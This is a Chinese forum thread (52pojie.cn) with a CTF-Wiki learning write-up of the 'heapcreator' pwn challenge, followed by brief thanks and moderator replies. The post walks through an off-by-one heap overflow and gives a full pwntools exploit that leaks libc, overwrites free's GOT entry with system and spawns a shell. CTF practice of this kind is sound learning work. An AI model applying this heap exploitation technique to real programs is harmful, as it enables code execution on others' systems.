吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4143|回复: 8
收起左侧

[调试逆向] heapcreator学习

  [复制链接]
peiwithhao 发表于 2022-8-7 20:53
本帖最后由 peiwithhao 于 2022-10-8 11:01 编辑

CTF-WIKI 学习PWN heapcreator

1.checksec 发现got表可写
2.程序逻辑
简单的逻辑
其中create是首先在一个结构体数组中创建0x20大小的堆,这个堆块用来指向你自己所创建的堆块
这个堆块集合就是heaparray,大小只有十个
可以看出第一个堆块结构他的第一个字段就是你自己所创建堆块的大小,第二个字段即为指向第二个堆块的地址,可以i从上图看出来很明显
可以看出第一个堆块结构他的第一个字段就是你自己所创建堆块的大小,第二个字段即为指向第二个堆块的地址,可以i从上图看出来很明显。

然后就是这个edit函数,你说题目出题就算脱离现实也不能这么脱离吧,正常程序员也不会在这专门加个一吧,除非他是社工
edit函数

这里发现可以通过off-by-one进行堆栈溢出,我们可以通过这个漏洞来修改下一个heaparray的大小字段,然后将其free掉,就比如说我本来是heaparray堆只有0x20,加上我自己申请的0x20大小的堆块,此时我通过这个漏洞将heaparray堆块的大小修改为0x40,这时候我free掉他的时候他就会被放到fastbins中,并且此时这个空闲块是0x40大小,此时若我再申请0x40大小的话他就会将整块0x40大小的堆块分配给我(其中就有以前的heaparray块和我以前申请的堆块),这样就达到了一个任意写的目的。

然后之后就是常规的修改got表中free项的行为,此利用即利用了__free_hook的知识,其完整exp如下

from pwn import *
elf = ELF('./heapcreator')
io = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

free_addr = elf.symbols['free']
free_got = elf.got['free']
context.log_level = 'INFO'
io.success("free_addr is :"+hex(free_addr))
def create(size,content):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)

def edit(index,content): #在这里进行off-by-one
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(": ")
    #gdb.attach(io)
    io.sendline(content)

def show(index):
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))

def delete(index):
    io.recvuntil(':')
    io.sendline('4')
    io.recvuntil(':')
    io.sendline(str(index))

create(0x18,'a'*8)             #off-by-one攻击块
create(0x10,'b'*8)            #释放之后的修改块
create(24,'c'*8)            #
create(24,'d'*8)
create(24,'e'*8)
show(0)
pl1 = '/bin/sh\x00'+'a'*0x10 + '\x41'                
edit(0,pl1)                 #将块大小改为0x41

#首先释放块1
delete(1)                   #此时实际上释放了0x41块
pl2 = p64(0)*4 + p64(30) + p64(free_got)
create(0x30,pl2)
show(1)
sleep(1)
io.recvuntil('Content : ')
free_got = u64(io.recv(6).ljust(8,b'\x00'))
io.success('free_got address is: '+ hex(free_got))

free_libc = libc.sym['free']
system_addr = libc.sym['system']
libc_base = free_got - free_libc
system_addr += libc_base
io.success("system addr is :"+hex(system_addr))
edit(1,p64(system_addr))
delete(0)

io.interactive()

免费评分

参与人数 2吾爱币 +7 热心值 +2 收起 理由
1MajorTom1 + 1 热心回复!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| peiwithhao 发表于 2022-8-7 20:55
不是吧,这csdn发图片还自带水印啊,这真是我自己码的只不过copy到这边而已

点评

你可以把原版图片直接上传论坛编辑,论坛支持markdown格式,我给你编辑了下。  详情 回复 发表于 2022-8-8 11:26
Hmily 发表于 2022-8-8 11:26
peiwithhao 发表于 2022-8-7 20:55
不是吧,这csdn发图片还自带水印啊,这真是我自己码的只不过copy到这边而已

你可以把原版图片直接上传论坛编辑,论坛支持markdown格式,我给你编辑了下。
 楼主| peiwithhao 发表于 2022-8-8 21:37
Hmily 发表于 2022-8-8 11:26
你可以把原版图片直接上传论坛编辑,论坛支持markdown格式,我给你编辑了下。

谢谢师傅๑•́₃•̀๑
qszf 发表于 2022-8-9 10:24
谢谢分享
ccc007 发表于 2022-8-9 10:30
感谢分享
MagicalYu 发表于 2022-8-9 13:36
感谢分享
xwy1215 发表于 2022-8-10 08:28
谢谢分享
iWorm 发表于 2023-6-24 21:39
楼主好,不知道为什么,图片无法显示呢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 08:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表